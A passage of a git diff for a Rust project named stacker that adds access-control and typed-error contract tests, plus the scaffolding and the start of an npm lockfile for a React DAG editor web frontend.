+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// V2: Unauthenticated access (Casbin anonymous)
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[when(regex = r#"^I make an unauthenticated GET request to "([^"]+)"$"#)]
+async fn when_unauthenticated_get(world: &mut StepWorld, path: String) {
+    let (status, body) = world.get_unauthenticated(&path).await;
+    world.status_code = Some(status);
+    world.response_body = Some(body);
+}
+
+#[then(regex = r#"^the response status should not be (\d+)$"#)]
+async fn then_status_not(world: &mut StepWorld, forbidden_status: u16) {
+    let actual = world.status_code.expect("No status code recorded");
+    assert_ne!(
+        actual, forbidden_status,
+        "Expected status NOT {}, but got {}",
+        forbidden_status, actual
+    );
+}
diff --git a/tests/typed_error_contract.rs b/tests/typed_error_contract.rs
new file mode 100644
index 00000000..57f406d0
--- /dev/null
+++ b/tests/typed_error_contract.rs
@@ -0,0 +1,70 @@
+use serde_json::Value;
+
+use stacker::services::{
+    TypedErrorCode, TypedErrorEnvelope, TypedRemediationClass, TYPED_ERROR_SCHEMA_VERSION,
+};
+
+fn load_contract() -> Value {
+    serde_json::from_str(include_str!(
+        "contracts/stacker-typed-error.v1alpha1.contract.json"
+    ))
+    .expect("typed error contract JSON should be valid")
+}
+
+fn load_fixture() -> &'static str {
+    include_str!("contracts/stacker-typed-error.v1alpha1.deployment-capability-missing.json")
+}
+
+#[test]
+fn typed_error_contract_metadata_is_correct() {
+    let contract = load_contract();
+
+    assert_eq!(
+        contract["title"].as_str().unwrap(),
+        "stacker-typed-error-v1alpha1"
+    );
+    assert_eq!(contract["_owner"].as_str().unwrap(), "stacker");
+    assert!(contract["surfaces"]
+        .as_array()
+        .unwrap()
+        .iter()
+        .filter_map(Value::as_str)
+        .any(|surface| surface == "mcp"));
+}
+
+#[test]
+fn typed_error_contract_requires_core_fields() {
+    let contract = load_contract();
+    let required = contract["response"]["required"]
+        .as_array()
+        .expect("required should be an array");
+    let required_names: Vec<&str> = required.iter().filter_map(|v| v.as_str()).collect();
+
+    for field in [
+        "schemaVersion",
+        "code",
+        "message",
+        "retryable",
+        "remediationClass",
+    ] {
+        assert!(
+            required_names.contains(&field),
+            "required fields must include {field}"
+        );
+    }
+}
+
+#[test]
+fn typed_error_fixture_deserializes_into_shared_type() {
+    let error: TypedErrorEnvelope =
+        serde_json::from_str(load_fixture()).expect("typed error fixture should deserialize");
+
+    assert_eq!(error.schema_version, TYPED_ERROR_SCHEMA_VERSION);
+    assert_eq!(error.code, TypedErrorCode::DeploymentCapabilityMissing);
+    assert_eq!(error.remediation_class, TypedRemediationClass::Capability);
+    assert!(!error.retryable);
+    assert_eq!(
+        error.context.get("capability").map(String::as_str),
+        Some("compose_logs")
+    );
+}
diff --git a/web/.gitignore b/web/.gitignore
new file mode 100644
index 00000000..b9470778
--- /dev/null
+++ b/web/.gitignore
@@ -0,0 +1,2 @@
+node_modules/
+dist/
diff --git a/web/index.html b/web/index.html
new file mode 100644
index 00000000..9acec56b
--- /dev/null
+++ b/web/index.html
@@ -0,0 +1,12 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+  <title>Stacker DAG Editor</title>
+</head>
+<body>
+  <div id="root"></div>
+  <script type="module" src="/src/main.tsx"></script>
+</body>
+</html>
diff --git a/web/package-lock.json b/web/package-lock.json
new file mode 100644
index 00000000..b2c76541
--- /dev/null
+++ b/web/package-lock.json
@@ -0,0 +1,3592 @@
+{
+  "name": "stacker-dag-editor",
+  "version": "0.1.0",
+  "lockfileVersion": 3,
+  "requires": true,
+  "packages": {
+    "": {
+      "name": "stacker-dag-editor",
+      "version": "0.1.0",
+      "dependencies": {
+        "@xyflow/react": "^12.0.0",
+        "react": "^18.3.1",
+        "react-dom": "^18.3.1"
+      },
+      "devDependencies": {
+        "@testing-library/jest-dom": "^6.9.1",
+        "@testing-library/react": "^16.3.2",
+        "@testing-library/user-event": "^14.6.1",
+        "@types/react": "^18.3.0",
+        "@types/react-dom": "^18.3.0",
+        "@vitejs/plugin-react": "^4.3.0",
+        "jsdom": "^29.0.2",
+        "typescript": "^5.5.0",
+        "vite": "^5.4.0",
+        "vitest": "^1.6.1"
+      }
+    },
+    "node_modules/@adobe/css-tools": {
+      "version": "4.4.4",
+      "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.4.4.tgz",
+      "integrity": "sha512-Elp+iwUx5rN5+Y8xLt5/GRoG20WGoDCQ/1Fb+1LiGtvwbDavuSk0jhD/eZdckHAuzcDzccnkv+rEjyWfRx18gg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@asamuzakjp/css-color": {
+      "version": "5.1.11",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz",
+      "integrity": "sha512-KVw6qIiCTUQhByfTd78h2yD1/00waTmm9uy/R7Ck/ctUyAPj+AEDLkQIdJW0T8+qGgj3j5bpNKK7Q3G+LedJWg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@asamuzakjp/generational-cache": "^1.0.1",
+        "@csstools/css-calc": "^3.2.0",
+        "@csstools/css-color-parser": "^4.1.0",
+        "@csstools/css-parser-algorithms": "^4.0.0",
+        "@csstools/css-tokenizer": "^4.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/dom-selector": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/dom-selector/-/dom-selector-7.1.1.tgz",
+      "integrity": "sha512-67RZDnYRc8H/8MLDgQCDE//zoqVFwajkepHZgmXrbwybzXOEwOWGPYGmALYl9J2DOLfFPPs6kKCqmbzV895hTQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@asamuzakjp/generational-cache": "^1.0.1",
+        "@asamuzakjp/nwsapi": "^2.3.9",
+        "bidi-js": "^1.0.3",
+        "css-tree": "^3.2.1",
+        "is-potential-custom-element-name": "^1.0.1"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/generational-cache": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/generational-cache/-/generational-cache-1.0.1.tgz",
+      "integrity": "sha512-wajfB8KqzMCN2KGNFdLkReeHncd0AslUSrvHVvvYWuU8ghncRJoA50kT3zP9MVL0+9g4/67H+cdvBskj9THPzg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/@asamuzakjp/nwsapi": {
+      "version": "2.3.9",
+      "resolved": "https://registry.npmjs.org/@asamuzakjp/nwsapi/-/nwsapi-2.3.9.tgz",
+      "integrity": "sha512-n8GuYSrI9bF7FFZ/SjhwevlHc8xaVlb/7HmHelnc/PZXBD2ZR49NnN9sMMuDdEGPeeRQ5d0hqlSlEpgCX3Wl0Q==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@babel/code-frame": {
+      "version": "7.29.0",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
+      "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.28.5",
+        "js-tokens": "^4.0.0",
+        "picocolors": "^1.1.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/compat-data": {
+      "version": "7.29.0",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",
+      "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/core": {
+      "version": "7.29.0",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",
+      "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.29.0",
+        "@babel/generator": "^7.29.0",
+        "@babel/helper-compilation-targets": "^7.28.6",
+        "@babel/helper-module-transforms": "^7.28.6",
+        "@babel/helpers": "^7.28.6",
+        "@babel/parser": "^7.29.0",
+        "@babel/template": "^7.28.6",
+        "@babel/traverse": "^7.29.0",
+        "@babel/types": "^7.29.0",
+        "@jridgewell/remapping": "^2.3.5",
+        "convert-source-map": "^2.0.0",
+        "debug": "^4.1.0",
+        "gensync": "^1.0.0-beta.2",
+        "json5": "^2.2.3",
+        "semver": "^6.3.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/babel"
+      }
+    },
+    "node_modules/@babel/generator": {
+      "version": "7.29.1",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",
+      "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/parser": "^7.29.0",
+        "@babel/types": "^7.29.0",
+        "@jridgewell/gen-mapping": "^0.3.12",
+        "@jridgewell/trace-mapping": "^0.3.28",
+        "jsesc": "^3.0.2"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-compilation-targets": {
+      "version": "7.28.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",
+      "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/compat-data": "^7.28.6",
+        "@babel/helper-validator-option": "^7.27.1",
+        "browserslist": "^4.24.0",
+        "lru-cache": "^5.1.1",
+        "semver": "^6.3.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-globals": {
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
+      "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-imports": {
+      "version": "7.28.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",
+      "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/traverse": "^7.28.6",
+        "@babel/types": "^7.28.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-module-transforms": {
+      "version": "7.28.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",
+      "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-module-imports": "^7.28.6",
+        "@babel/helper-validator-identifier": "^7.28.5",
+        "@babel/traverse": "^7.28.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0"
+      }
+    },
+    "node_modules/@babel/helper-plugin-utils": {
+      "version": "7.28.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz",
+      "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-string-parser": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
+      "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-validator-identifier": {
+      "version": "7.28.5",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
+      "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helper-validator-option": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
+      "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/helpers": {
+      "version": "7.29.2",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz",
+      "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/template": "^7.28.6",
+        "@babel/types": "^7.29.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/parser": {
+      "version": "7.29.2",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz",
+      "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/types": "^7.29.0"
+      },
+      "bin": {
+        "parser": "bin/babel-parser.js"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-jsx-self": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",
+      "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.27.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/plugin-transform-react-jsx-source": {
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",
+      "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.27.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/runtime": {
+      "version": "7.29.2",
+      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz",
+      "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/template": {
+      "version": "7.28.6",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",
+      "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.28.6",
+        "@babel/parser": "^7.28.6",
+        "@babel/types": "^7.28.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse": {
+      "version": "7.29.0",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",
+      "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.29.0",
+        "@babel/generator": "^7.29.0",
+        "@babel/helper-globals": "^7.28.0",
+        "@babel/parser": "^7.29.0",
+        "@babel/template": "^7.28.6",
+        "@babel/types": "^7.29.0",
+        "debug": "^4.3.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/types": {
+      "version": "7.29.0",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",
+      "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/helper-string-parser": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.28.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@bramus/specificity": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz",
+      "integrity": "sha512-ctxtJ/eA+t+6q2++vj5j7FYX3nRu311q1wfYH3xjlLOsczhlhxAg2FWNUXhpGvAw3BWo1xBcvOV6/YLc2r5FJw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "css-tree": "^3.0.0"
+      },
+      "bin": {
+        "specificity": "bin/cli.js"
+      }
+    },
+    "node_modules/@csstools/color-helpers": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz",
+      "integrity": "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT-0",
+      "engines": {
+        "node": ">=20.19.0"
+      }
+    },
+    "node_modules/@csstools/css-calc": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.0.tgz",
+      "integrity": "sha512-bR9e6o2BDB12jzN/gIbjHa5wLJ4UjD1CB9pM7ehlc0ddk6EBz+yYS1EV2MF55/HUxrHcB/hehAyt5vhsA3hx7w==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.19.0"
+      },
+      "peerDependencies": {
+        "@csstools/css-parser-algorithms": "^4.0.0",
+        "@csstools/css-tokenizer": "^4.0.0"
+      }
+    },
+    "node_modules/@csstools/css-color-parser": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.1.0.tgz",
+      "integrity": "sha512-U0KhLYmy2GVj6q4T3WaAe6NPuFYCPQoE3b0dRGxejWDgcPp8TP7S5rVdM5ZrFaqu4N67X8YaPBw14dQSYx3IyQ==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "@csstools/color-helpers": "^6.0.2",
+        "@csstools/css-calc": "^3.2.0"
+      },
+      "engines": {
+        "node": ">=20.19.0"
+      },
+      "peerDependencies": {
+        "@csstools/css-parser-algorithms": "^4.0.0",
+        "@csstools/css-tokenizer": "^4.0.0"
+      }
+    },
+    "node_modules/@csstools/css-parser-algorithms": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz",
+      "integrity": "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.19.0"
+      },
+      "peerDependencies": {
+        "@csstools/css-tokenizer": "^4.0.0"
+      }
+    },
+    "node_modules/@csstools/css-syntax-patches-for-csstree": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.3.tgz",
+      "integrity": "sha512-SH60bMfrRCJF3morcdk57WklujF4Jr/EsQUzqkarfHXEFcAR1gg7fS/chAE922Sehgzc1/+Tz5H3Ypa1HiEKrg==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT-0",
+      "peerDependencies": {
+        "css-tree": "^3.2.1"
+      },
+      "peerDependenciesMeta": {
+        "css-tree": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@csstools/css-tokenizer": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz",
+      "integrity": "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/csstools"
+        },
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/csstools"
+        }
+      ],
+      "license": "MIT",
+      "engines": {
+        "node": ">=20.19.0"
+      }
+    },
+    "node_modules/@esbuild/aix-ppc64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz",
+      "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==",
+      "cpu": [
+        "ppc64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "aix"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/android-arm": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz",
+      "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==",
+      "cpu": [
+        "arm"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/android-arm64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz",
+      "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/android-x64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz",
+      "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/darwin-arm64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz",
+      "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/darwin-x64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz",
+      "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/freebsd-arm64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz",
+      "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/freebsd-x64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz",
+      "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-arm": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz",
+      "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==",
+      "cpu": [
+        "arm"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-arm64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz",
+      "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
